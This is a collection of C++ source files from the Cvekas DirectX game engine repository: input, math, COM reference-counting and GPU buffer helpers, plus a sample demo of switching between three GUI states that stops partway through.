mpi_launcher == SRUN:\n # SLURM already has everything it needs from the environment variables set\n # by the batch script\n return \"\"\n elif mpi_launcher == MPIEXEC:\n # Let's not error-check excessively, only the most obvious\n if mpi_tasks is None and any([nodes is None, ntasks_per_node is None]):\n raise ValueError(\n \"If mpi_tasks is not set then nodes and ntasks_per_node must be set instead\"\n )\n if mpi_tasks is None:\n mpi_tasks = nodes * ntasks_per_node\n # mpiexec is defined by the standard and very basic, you can only tell it\n # how many MPI tasks to start\n return \"-np {}\".format(mpi_tasks)\n else:\n raise NotImplementedError(\n \"MPI launcher {mpi_launcher} is not yet supported.\".format(\n mpi_launcher=mpi_launcher\n )\n )\n\n if mpi_launcher is None:\n raise ValueError(\"The kwarg mpi_launcher must be set!\")\n if not isinstance(executable, str):\n ValueError(\n \"executable is interpreted as a simple basestring: %(executable)\".format(\n executable=executable\n )\n )\n # Also check for the existence of the executable (unless we\n # \"return_wrapped_command\")\n if not which(executable) and not return_wrapped_command:\n ValueError(\n \"The executable should be available in the users path and have execute \"\n \"rights: please check %(executable)\".format(executable=executable)\n )\n default_launcher_args = get_default_mpi_params(\n mpi_launcher, mpi_tasks, nodes, cpus_per_task, ntasks_per_node\n )\n cmd = \" \".join(\n [\n string\n for string in [\n pre_launcher_opts,\n mpi_launcher,\n default_launcher_args,\n launcher_args,\n executable,\n exec_args,\n ]\n if string\n ]\n )\n\n if return_wrapped_command:\n result = cmd\n else:\n try:\n proc = subprocess.Popen(\n shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n out = proc.stdout.read()\n err = proc.stderr.read()\n except OSError as err:\n raise OSError(\n \"OS error caused by constructed command: {cmd}\\n\\n{err}\".format(\n cmd=cmd, err=err\n )\n )\n result = {\"cmd\": cmd, \"out\": out, \"err\": err}\n\n return result\n\n\ndef shutdown_mpitask_worker():\n from mpi4py import MPI\n\n # Finalise MPI\n MPI.Finalize()\n # and then exit\n exit()\n\n\ndef deserialize_and_execute(serialized_object):\n # Ensure the serialized object is of the expected type\n if isinstance(serialized_object, dict):\n # Make sure it has the expected entries\n if not (\"header\" in serialized_object and \"frames\" in serialized_object):\n raise RuntimeError(\n \"serialized_object dict does not have expected keys [header, frames]\"\n )\n else:\n raise RuntimeError(\"Cannot deserialize without a serialized_object\")\n func = deserialize(serialized_object[\"header\"], serialized_object[\"frames\"])\n if serialized_object.get(\"args_header\"):\n args = deserialize(\n serialized_object[\"args_header\"], serialized_object[\"args_frames\"]\n )\n else:\n args = []\n if serialized_object.get(\"kwargs_header\"):\n kwargs = deserialize(\n serialized_object[\"kwargs_header\"], serialized_object[\"kwargs_frames\"]\n )\n else:\n kwargs = {}\n\n # Free memory space used by (potentially large) serialised object\n del serialized_object\n\n # Execute the function and return\n return func(*args, **kwargs)\n\n\ndef flush_and_abort(\n msg=\"Flushing print buffer and aborting\", comm=None, error_code=1, mpi_abort=True\n):\n import traceback\n\n if comm is None:\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n if error_code == 0:\n print(\"To abort correctly, we need to use a non-zero error code\")\n error_code = 1\n if mpi_abort:\n print(msg)\n traceback.print_stack()\n sys.stdout.flush()\n sys.stderr.flush()\n comm.Abort(error_code)\n sys.exit(error_code)\n\n\ndef verify_mpi_communicator(comm, mpi_abort=True):\n # Check we have a valid communicator\n try:\n comm.Get_rank()\n return True\n except AttributeError:\n flush_and_abort(\n msg=\"Looks like you did not pass a valid MPI communicator, aborting \"\n \"using global communicator\",\n mpi_abort=mpi_abort,\n )\n\n\ndef mpi_deserialize_and_execute(serialized_object=None, root=0, comm=None):\n\n if comm is None:\n from mpi4py import MPI\n\n comm = MPI.COMM_WORLD\n\n # Check we have a valid communicator\n verify_mpi_communicator(comm)\n\n # We only handle the case where root has the object and is the one who returns\n # something\n if serialized_object:\n rank = comm.Get_rank()\n if rank != root:\n flush_and_abort(\n msg=\"Only root rank (%d) can contain a serialized object for this \"\n \"call, my rank is %d...aborting!\" % (root, rank),\n comm=comm,\n )\n print(\"Root ({}) has received the task and is broadcasting\".format(rank))\n\n return_something = True\n else:\n return_something = False\n serialized_object = comm.bcast(serialized_object, root=root)\n result = deserialize_and_execute(serialized_object)\n\n if return_something and result:\n return result\n\n\ndef serialize_function_and_args(func, *args, **kwargs):\n header, frames = serialize(func)\n serialized_object = {\"header\": header, \"frames\": frames}\n if args:\n args_header, args_frames = serialize(args)\n serialized_object.update(\n {\"args_header\": args_header, \"args_frames\": args_frames}\n )\n if kwargs:\n kwargs_header, kwargs_frames = serialize(kwargs)\n serialized_object.update(\n {\"kwargs_header\": kwargs_header, \"kwargs_frames\": kwargs_frames}\n )\n\n return serialized_object\n" }, { "alpha_fraction": 0.5222222208976746, "alphanum_fraction": 0.699999988079071, "avg_line_length": 14, "blob_id": "37393dcfdd64d1bacb321cf31e12339077ff89e0", "content_id": "f4d07a6fc3506a6a80ffe1a8233bfc1db218019c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 90, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/requirements.txt", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "dask>=1.2.2,<2.0.0\ndistributed>=1.28,<2.0.0\ndask_jobqueue>=0.5.0\ntyping\npytest-cov\nmpi4py\n" }, { "alpha_fraction": 0.5797608494758606, "alphanum_fraction": 0.5797608494758606, "avg_line_length": 32.291263580322266, "blob_id": "bcb22ad7482a28f64f6677f87e9de630eccd7574", "content_id": "6ca21c7ef2192c533f129dffb040b304769b36ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3429, "license_type": "no_license", "max_line_length": 81, "num_lines": 103, "path": "/jobqueue_features/clusters_controller.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from typing import Tuple, Dict, Callable # noqa\nimport atexit\n\nfrom dask.distributed import Client, LocalCluster\n\nfrom .clusters import ClusterType # noqa\nfrom .custom_exceptions import ClusterException\n\n_DEFAULT = \"default\"\n\n\nclass ClusterController(object):\n \"\"\"Controller keeps collection of clusters and clients so it can\n provide these for decorators to submitting tasks.\"\"\"\n\n default_cluster = LocalCluster # type: Callable[..., ClusterType]\n\n def __init__(self):\n # type: () -> None\n self._clusters = {_DEFAULT: None} # type: Dict[str, ClusterType]\n self._clients = {_DEFAULT: None} # type: Dict[str, Client]\n atexit.register(self._close)\n\n def get_cluster(self, id_=None):\n # type: (str) -> Tuple[ClusterType, Client]\n cluster = self._clusters.get(id_ or _DEFAULT)\n if cluster is None:\n raise ClusterException('No cluster \"{}\" set!'.format(id_))\n client = self._clients.get(id_ or _DEFAULT)\n if client is None:\n raise ClusterException('No client for cluster \"{}\" set!'.format(id_))\n return cluster, client\n\n def add_cluster(self, id_=None, cluster=None):\n # type: (str, ClusterType) -> Tuple[ClusterType, Client]\n if hasattr(cluster, \"name\"):\n if id_ is None:\n id_ = cluster.name\n else:\n assert id_ == cluster.name\n return self._make_cluster(id_=id_ or _DEFAULT, cluster=cluster)\n\n def delete_cluster(self, id_):\n # type: (str) -> None\n self._close_client(id_=id_)\n self._close_cluster(id_=id_)\n\n def _make_cluster(self, id_, cluster=None):\n # type: (str, ClusterType) -> Tuple[ClusterType, Client]\n if id_ != _DEFAULT and id_ in self._clusters:\n raise ClusterException('Cluster \"{}\" already exists!'.format(id_))\n self._clusters[id_] = cluster or self._make_default_cluster(name=id_)\n self._make_client(id_=id_)\n return self._clusters[id_], self._clients[id_]\n\n def _make_default_cluster(self, name):\n kwargs = {}\n if self.default_cluster is not LocalCluster:\n kwargs[\"name\"] = name\n else:\n kwargs[\"processes\"] = False\n return self.default_cluster(**kwargs)\n\n def _make_client(self, id_):\n # type: (str) -> None\n cluster = self._clusters[id_]\n if hasattr(cluster, \"client\"):\n client = cluster.client\n else:\n client = Client(cluster)\n self._clients[id_] = client\n\n def _close(self):\n # type: () -> None\n self._close_clients()\n self._close_clusters()\n\n def _close_cluster(self, id_):\n # type: (str) -> None\n cluster = self._clusters.pop(id_, None)\n if cluster and type(cluster) is not LocalCluster:\n cluster.close()\n\n def _close_clusters(self):\n # type: () -> None\n for id_ in list(self._clusters.keys()):\n self._close_cluster(id_)\n self._clusters = {_DEFAULT: None}\n\n def _close_client(self, id_):\n # type: (str) -> None\n client = self._clients.get(id_)\n if client:\n client.close()\n\n def _close_clients(self):\n # type: () -> None\n for id_ in list(self._clients.keys()):\n self._close_client(id_)\n self._clients = {_DEFAULT: None}\n\n\nclusters_controller_singleton = ClusterController()\n" }, { "alpha_fraction": 0.7243947982788086, "alphanum_fraction": 0.730912446975708, "avg_line_length": 28.027027130126953, "blob_id": "9099b0f9ad48c5e6b43b5ae0a27c0be1c041ff30", "content_id": "47b3a7ad34924c4679232dc30551c2c2eb80e998", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1074, "license_type": "no_license", "max_line_length": 87, "num_lines": 37, "path": "/examples/forked_mpi_task_srun.py", "repo_name": "AdamWlodarczyk/jobqueue_features", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport os\n\nfrom dask.distributed import LocalCluster\n\nfrom jobqueue_features.clusters import CustomSLURMCluster\nfrom jobqueue_features.decorators import on_cluster, mpi_task\nfrom jobqueue_features.mpi_wrapper import mpi_wrap\nfrom jobqueue_features.functions import set_default_cluster\n\n# import logging\n# logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)\n\n# set_default_cluster(LocalCluster)\nset_default_cluster(CustomSLURMCluster)\n\ncustom_cluster = CustomSLURMCluster(\n name=\"mpiCluster\", walltime=\"00:04:00\", nodes=2, mpi_mode=True, fork_mpi=True\n)\n\n\n@on_cluster(cluster=custom_cluster, cluster_id=\"mpiCluster\")\n@mpi_task(cluster_id=\"mpiCluster\")\ndef mpi_wrap_task(**kwargs):\n return mpi_wrap(**kwargs)\n\n\n# @on_cluster() # LocalCluster\ndef main():\n script_path = os.path.join(os.path.dirname(__file__), \"resources\", \"helloworld.py\")\n t = mpi_wrap_task(executable=\"python\", exec_args=script_path)\n print(t.result()[\"out\"])\n print(t.result()[\"err\"])\n\n\nif __name__ == \"__main__\":\n main()\n" } ]
11
online-code-bite-md-tanvir-mahtab/km-calculator-python-tkinter
https://github.com/online-code-bite-md-tanvir-mahtab/km-calculator-python-tkinter
ffa013fe053a646674cb0c5982c3d4184e15911b
100fdf1a56bc7977636a863bf25bac1596cd8c4f
39a506bd666e3de7fdc9333d6960f7a030127ca5
refs/heads/master
2023-08-31T22:50:26.204229
2021-10-20T14:29:54
2021-10-20T14:29:54
419,363,970
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6840826272964478, "alphanum_fraction": 0.7144593000411987, "avg_line_length": 16.510639190673828, "blob_id": "ee6e4177f42dc80fd71f5ad7fad052d5029d7217", "content_id": "59fc2bb2ea5d45af3735664b0eeb9a6f528bf67c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 823, "license_type": "no_license", "max_line_length": 63, "num_lines": 47, "path": "/sr/main.py", "repo_name": "online-code-bite-md-tanvir-mahtab/km-calculator-python-tkinter", "src_encoding": "UTF-8", "text": "import tkinter\n\n\n# creting the object of the tkinter\nscreen = tkinter.Tk()\nscreen.minsize(width=300,height=100)\nscreen.title(\"BMI Calculator\")\nscreen.config(padx=10,pady=10)\n\ntext_input = tkinter.Entry()\ntext_input.grid(column=1,row=2)\n\n# for the lable\nmy_label = tkinter.Label(text=\"Mils\")\nmy_label.grid(column=2,row=2)\n\n\n# for the sencond thing\nequal = tkinter.Label(text=\"is equal to \")\nequal.grid(column=0,row=3)\n\n# for the answer\nanswer_screen = tkinter.Label(text=\"0\")\nanswer_screen.grid(column=1,row=3)\n\n\n# for the label\nkm = tkinter.Label(text=\"Km\")\nkm.grid(column=2,row=3)\n\n\ndef calculation():\n result = int(1.6 * int(text_input.get()))\n answer_screen[\"text\"] = result\n\n# for the button\ncalculate= tkinter.Button(text=\"Calculate\",command=calculation)\ncalculate.grid(column=1,row=4)\n\n\n\n\n\n\n\n\nscreen.mainloop()\n" } ]
1
tectronics/cvekas
https://github.com/tectronics/cvekas
f7e197f62c6a454feb0c75324defd1878f2db371
70b97c27730f7536718f07e44dc71c8bae7705f2
9605ae8945f85f71c069885848c46c33454b9331
refs/heads/master
2018-03-26T07:45:38.654284
2010-04-26T20:38:53
2010-04-26T20:38:53
48,547,868
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6772486567497253, "alphanum_fraction": 0.6867724657058716, "avg_line_length": 20.547618865966797, "blob_id": "722a5b0306efe8549b634ff7bf32bbd5e468d2de", "content_id": "6535480550628ebd42982c6b767e517581a7dd98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 945, "license_type": "no_license", "max_line_length": 81, "num_lines": 42, "path": "/source/Keyboard.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef KEYBOARD_H\r\n#define KEYBOARD_H\r\n\r\n\r\nnamespace Cvekas {\r\n\r\ntypedef unsigned char Key;\r\n\t\r\n/// %Keyboard\r\nclass Keyboard : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor. You shouldn't call this, Input will provide access to %Keyboard\r\n\tKeyboard();\r\n\r\n\t/// Destructor\r\n\tvirtual ~Keyboard();\r\n\r\n\t/// Refreshes keyboard data. Must be called once each frame\r\n\tvoid update();\r\n\r\n\t/// Returns true if Key is being held down\r\n\tbool isKeyPressed(Key key) const;\r\n\t/// Returns true if Key just went from state \"down\" to state \"up\"\r\n\tbool isKeyUp(Key key) const;\r\n\t/// Returns true if Key just went from state \"up\" to state \"down\"\r\n\tbool isKeyDown(Key key) const;\r\n\r\n\t/// See Input::process()\r\n\tbool process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);\r\n\r\nprivate:\t\r\n\tbool keyboard[256];\r\n\tbool keyboard_current[256];\r\n\tbool keyboard_last[256];\r\n};\r\n\r\ntypedef boost::shared_ptr<Keyboard> KeyboardPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5959959030151367, "alphanum_fraction": 0.6355236172676086, "avg_line_length": 16.39622688293457, "blob_id": "528e2d9d94f766a297b8772b21403ad73f6f32c4", "content_id": "e197c9a508183bffb6bb0ce7ff512d46bccfc952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1948, "license_type": "no_license", "max_line_length": 84, "num_lines": 106, "path": "/source/Vector2.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VECTOR2_H\r\n#define VECTOR2_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// 2D Vector\r\nstruct Vector2 : public D3DXVECTOR2 \r\n{\r\npublic:\r\n\tVector2();\r\n Vector2(const float* f);\r\n Vector2(const D3DXFLOAT16* f);\r\n Vector2(float x, float y);\r\n Vector2(const D3DXVECTOR2& v);\r\n\r\n operator D3DXVECTOR2&();\r\n operator const D3DXVECTOR2&() const;\r\n\r\n void set(float vx, float vy);\r\n float length() const;\r\n float lengthSq() const;\r\n float dot(const Vector2& v) const;\r\n void normalize();\r\n\tvoid rotate(float angle);\r\n Vector2 getNormalized() const;\r\n\tVector2 getRotated(float angle) const;\r\n};\r\n\r\n\r\ninline Vector2::Vector2() \r\n\t: \r\nD3DXVECTOR2() \r\n{}\r\n\r\ninline Vector2::Vector2(const float *f) \r\n\t: \r\nD3DXVECTOR2(f)\r\n{}\r\n\r\ninline Vector2::Vector2(const D3DXFLOAT16 *f) \r\n\t: \r\nD3DXVECTOR2(f) \r\n{}\r\n\r\ninline Vector2::Vector2(float vx, float vy) \r\n\t: \r\nD3DXVECTOR2(vx, vy) \r\n{}\r\n\r\ninline Vector2::Vector2(const D3DXVECTOR2& v) \r\n\t: \r\nD3DXVECTOR2(v) \r\n{}\r\n\r\ninline void Vector2::set(float vx, float vy) \r\n{ \r\n\tx=vx; \r\n\ty=vy; \r\n}\r\n\r\ninline float Vector2::length() const { return D3DXVec2Length(this); };\r\n\r\ninline float Vector2::lengthSq() const { return D3DXVec2LengthSq(this); };\r\n\r\ninline float Vector2::dot( const Vector2& v ) const { return D3DXVec2Dot(this,&v); }\r\n\r\ninline void Vector2::normalize() \r\n{\r\n D3DXVec2Normalize( this, this );\r\n}\r\n\r\ninline void Vector2::rotate(float angle)\r\n{\r\n\t*this = this->getRotated(angle);\r\n}\r\n\r\ninline Vector2 Vector2::getNormalized() const \r\n{\r\n Vector2 v;\r\n D3DXVec2Normalize( &v, this );\r\n return v;\r\n}\r\n\r\ninline Vector2 Vector2::getRotated(float angle) const\r\n{\r\n\tVector2 v;\r\n\tfloat sin_a = sin(angle);\r\n\tfloat cos_a = cos(angle);\r\n\tv.x = cos_a * x - sin_a * y;\r\n\tv.y = sin_a * x + cos_a * y;\r\n\treturn v;\r\n}\r\n\r\ninline Vector2::operator D3DXVECTOR2&() \r\n{ \r\n\treturn *this; \r\n}\r\n\r\ninline Vector2::operator const D3DXVECTOR2&() const \r\n{ \r\n\treturn *this;\r\n}\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.38031914830207825, "alphanum_fraction": 0.44680851697921753, "avg_line_length": 35.599998474121094, "blob_id": "d37ca7bbc72bb140b653d2d6fe18a3e2a0384948", "content_id": "af4aaf0b4772acfd2ccdd527f7fbe3c78ca0538c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 376, "license_type": "no_license", "max_line_length": 52, "num_lines": 10, "path": "/apps/Delirium/resource.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef IDC_STATIC\r\n#define IDC_STATIC (-1)\r\n#endif\r\n\r\n#define IDD_DIALOG1 100\r\n#define IDB_BITMAP1 102\r\n#define IDI_ICON1 103\r\n#define IDC_DISPMODE_COMBO 1005\r\n#define IDC_FULLSCREEN_CHECK 1006\r\n#define IDC_VSYNC_CHECK 1007\r\n" }, { "alpha_fraction": 0.6795727610588074, "alphanum_fraction": 0.6795727610588074, "avg_line_length": 16.774999618530273, "blob_id": "b0fb98ab49eb7d8984c420f328e356932f8e9c26", "content_id": "ee5fc690608a9acb990371a3d7260999de14f605", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 749, "license_type": "no_license", "max_line_length": 78, "num_lines": 40, "path": "/source/MemUtils.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SAFEDESTROY_H\r\n#define SAFEDESTROY_H\r\n\r\nnamespace boost {\r\n\r\n/// boost::intrusive_ptr reference counting mechanism for COM objects\r\ninline void intrusive_ptr_add_ref(IUnknown* p)\r\n{\r\n\tp->AddRef();\r\n}\r\n\r\n/// boost::intrusive_ptr reference counting mechanism for COM objects\r\ninline void intrusive_ptr_release(IUnknown* p)\r\n{\r\n\tp->Release();\r\n}\r\n\r\n} // namespace\r\n\r\nnamespace Cvekas {\r\n\r\n/// Helper method to safely release COM object pointed by boost::intrusive_ptr\r\ninline void intrusivePtrRelease(boost::intrusive_ptr<IUnknown> p)\r\n{\r\n\tif(bool(p)) \r\n\t\tp->Release();\r\n\tp = NULL;\r\n}\r\n\r\n/// Helper method to safely release COM object\r\ninline void safeRelease(IUnknown* p)\r\n{\r\n\tif(p) \r\n\t\tp->Release();\r\n\tp = NULL;\r\n}\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6149595975875854, "alphanum_fraction": 0.6153846383094788, "avg_line_length": 16.543306350708008, "blob_id": "b2e86cb7ce5a980aac431eb1ba2a07baf31d82c7", "content_id": "59b95ab355a1bfab48ba55a8aebf9b845c2e3c8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2353, "license_type": "no_license", "max_line_length": 96, "num_lines": 127, "path": "/source/GpuBufferManipulator.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef GPUBUFFERMANIPULATOR_H\r\n#define GPUBUFFERMANIPULATOR_H\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"GpuBuffer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Allows to access individual elements of GpuBuffer and manipulate them.\r\ntemplate <typename T>\r\nclass GpuBufferManipulator\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param buffer Pointer to buffer\r\n\tGpuBufferManipulator(GpuBufferPtr buffer)\r\n\t\t:\r\n\tbuffer(buffer),\r\n\tsecond_buffer(NULL),\r\n\tuse_second_buffer(false)\r\n\t{\r\n\t\tLOG(FORMAT(\"Constructing manipulator for gpu buffer %s\", % buffer->getName()));\r\n\r\n\t\tsize = buffer->getSizeInBytes();\r\n\t\titem_size = sizeof(T);\r\n\t\t\r\n\t\tif(size % item_size != 0)\r\n\t\t\tthrow EXCEPTION(\"Buffer size is not multiple of item size!\");\r\n\r\n\t\tif(buffer->isDynamic())\r\n\t\t{\r\n\t\t\tuse_second_buffer = true;\r\n\t\t\tsecond_buffer = new T[size / item_size];\r\n\t\t}\r\n\t}\r\n\r\n\t/// Destructor\r\n\tvirtual ~GpuBufferManipulator()\r\n\t{\r\n\t\tif(buffer->isLocked())\r\n\t\t{\r\n\t\t\tLOG(\"Buffer still locked on destruction of manipulator. Did you forget to apply() changes?\");\r\n\t\t\tunlock();\r\n\t\t}\r\n\r\n\t\tif(use_second_buffer)\r\n\t\t\tdelete[] second_buffer;\r\n\r\n\t\tLOG(FORMAT(\"Manipulator for gpu buffer %s destroyed\", % buffer->getName()));\r\n\t}\r\n\r\n\t/// Sets element.\r\n\tvoid set(uint i, const T& item)\r\n\t{\r\n\t\t// Should throw an exception if index is out of bounds, but that would be very slow\r\n\t\tif(use_second_buffer)\r\n\t\t{\r\n\t\t\tsecond_buffer[i] = item;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(!buffer->isLocked())\r\n\t\t\t\tlock();\r\n\r\n\t\t\tT* items = (T*)locked.data;\r\n\t\t\titems[i] = item;\r\n\t\t}\r\n\t}\r\n\r\n\t/// Returns element.\r\n\tT get(uint i)\r\n\t{\r\n\t\t// Should throw an exception if index is out of bounds, but that would be very slow\r\n\t\tif(use_second_buffer)\r\n\t\t{\r\n\t\t\treturn second_buffer[i];\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(!buffer->isLocked())\r\n\t\t\t\tlock();\r\n\r\n\t\t\tT* items = (T*)locked.data;\r\n\t\t\treturn items[i];\r\n\t\t}\r\n\t}\r\n\r\n\t/// Applies changes. After calling apply buffer is ready to be used.\r\n\tvoid apply()\r\n\t{\r\n\t\tif(use_second_buffer)\r\n\t\t{\r\n\t\t\tlock();\r\n\t\t\tmemcpy(locked.data, second_buffer, size);\r\n\t\t\tunlock();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(buffer->isLocked())\r\n\t\t\t\tunlock();\r\n\t\t}\r\n\t}\r\n\r\nprivate:\r\n\tvoid lock()\r\n\t{\r\n\t\tlocked = buffer->lock(false);\r\n\t}\r\n\r\n\tvoid unlock()\r\n\t{\r\n\t\tbuffer->unlock();\r\n\t}\r\n\r\n\tGpuBufferPtr buffer;\r\n\tbool use_second_buffer;\r\n\r\n\tLockedBuffer locked;\r\n\tint size, item_size;\r\n\r\n\tT* second_buffer;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.617205023765564, "alphanum_fraction": 0.6624633073806763, "avg_line_length": 23.169565200805664, "blob_id": "04a6387f5a96b543987eb273c151d5f804b1c49a", "content_id": "0d2f2101b4b54c7cae9656185a076d4cab278f7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5789, "license_type": "no_license", "max_line_length": 112, "num_lines": 230, "path": "/samples/States/States.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"GUI.h\"\r\n#include \"DefaultGUIStyle.h\"\r\n#include \"Texture2DManipulator.h\"\r\n#include \"StateManager.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Engine.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nenum States\r\n{\r\n\tSTATE1,\r\n\tSTATE2,\r\n\tSTATE3,\r\n\tSTATE_COUNT\r\n};\r\n\r\nclass State1 : public State\r\n{\r\npublic:\r\n\tState1(RendererPtr main_renderer, SpriteBatchPtr sprite_batch)\r\n\t\t: State(main_renderer), sprite_batch(sprite_batch)\r\n\t{\r\n\t\tEngine e;\r\n\t\tgui = e.getGUI();\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tbackground = video_device->getTextureManager()->createTexture2D(\"state1_background\", 32, 32, D3DFMT_X8R8G8B8);\r\n\t\tTexture2DManipulator manipulator(background, false);\r\n\t\tfor(int y = 0; y < 32; ++y)\r\n\t\t\tfor(int x = 0; x < 32; ++x)\r\n\t\t\t\tmanipulator.setPixel(x, y, Color(y%2 ? 128 : 108, 0, 0));\r\n\t\tmanipulator.apply();\r\n\t}\r\n\r\n\tvirtual void render(const StateManager& state_manager)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600));\r\n\t\t\r\n\t\tif(gui->doButton(Vector2(10.0f, 10.0f), \"Go to state 2\"))\r\n\t\t\tstate_manager.switchState(STATE2);\r\n\t}\r\n\r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600), Color(255, 255, 255, int(amount * 255.0f)));\r\n\t}\r\n\r\nprivate:\r\n\tGUIPtr gui;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tTexture2DPtr background;\r\n};\r\n\r\nclass State2 : public State\r\n{\r\npublic:\r\n\tState2(RendererPtr main_renderer, SpriteBatchPtr sprite_batch)\r\n\t\t: State(main_renderer), sprite_batch(sprite_batch)\r\n\t{\r\n\t\tEngine e;\r\n\t\tgui = e.getGUI();\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tbackground = video_device->getTextureManager()->createTexture2D(\"state2_background\", 32, 32, D3DFMT_X8R8G8B8);\r\n\t\tTexture2DManipulator manipulator(background, false);\r\n\t\tfor(int y = 0; y < 32; ++y)\r\n\t\t\tfor(int x = 0; x < 32; ++x)\r\n\t\t\t\tmanipulator.setPixel(x, y, Color(0, x%2 ? 128 : 118, 0));\r\n\t\tmanipulator.apply();\r\n\t}\r\n\r\n\tvirtual void render(const StateManager& state_manager)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600));\r\n\t\t\r\n\t\tif(gui->doButton(Vector2(210.0f, 210.0f), \"Go to state 3\"))\r\n\t\t\tstate_manager.switchState(STATE3);\r\n\t}\r\n\r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600), Color(255, 255, 255, int(amount * 255.0f)));\r\n\t}\r\n\r\nprivate:\r\n\tGUIPtr gui;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tTexture2DPtr background;\r\n};\r\n\r\nclass State3 : public State\r\n{\r\npublic:\r\n\tState3(RendererPtr main_renderer, SpriteBatchPtr sprite_batch)\r\n\t\t: State(main_renderer), sprite_batch(sprite_batch)\r\n\t{\r\n\t\tEngine e;\r\n\t\tgui = e.getGUI();\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tbackground = video_device->getTextureManager()->createTexture2D(\"state3_background\", 32, 32, D3DFMT_X8R8G8B8);\r\n\t\tTexture2DManipulator manipulator(background, false);\r\n\t\tfor(int y = 0; y < 32; ++y)\r\n\t\t\tfor(int x = 0; x < 32; ++x)\r\n\t\t\t\tmanipulator.setPixel(x, y, Color(0, 0, (x+y)%2 ? 128 : 108));\r\n\t\tmanipulator.apply();\r\n\t}\r\n\r\n\tvirtual void render(const StateManager& state_manager)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600));\r\n\t\t\r\n\t\tif(gui->doButton(Vector2(410.0f, 410.0f), \"Go to state 1\"))\r\n\t\t\tstate_manager.switchState(STATE1);\r\n\t}\r\n\r\n\tvirtual void fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n\t{\r\n\t\tsprite_batch->draw(background, 0, RectF(), RectF(0, 0, 800, 600), Color(255, 255, 255, int(amount * 255.0f)));\r\n\t}\r\n\r\nprivate:\r\n\tGUIPtr gui;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tTexture2DPtr background;\r\n};\r\n\r\n\r\nclass StatesDemo : public Application\r\n{\r\npublic:\r\n\tStatesDemo(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t:\r\n\tApplication(instance, name, log_filename), state_manager(STATE_COUNT, 0.5f)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~StatesDemo() {}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, 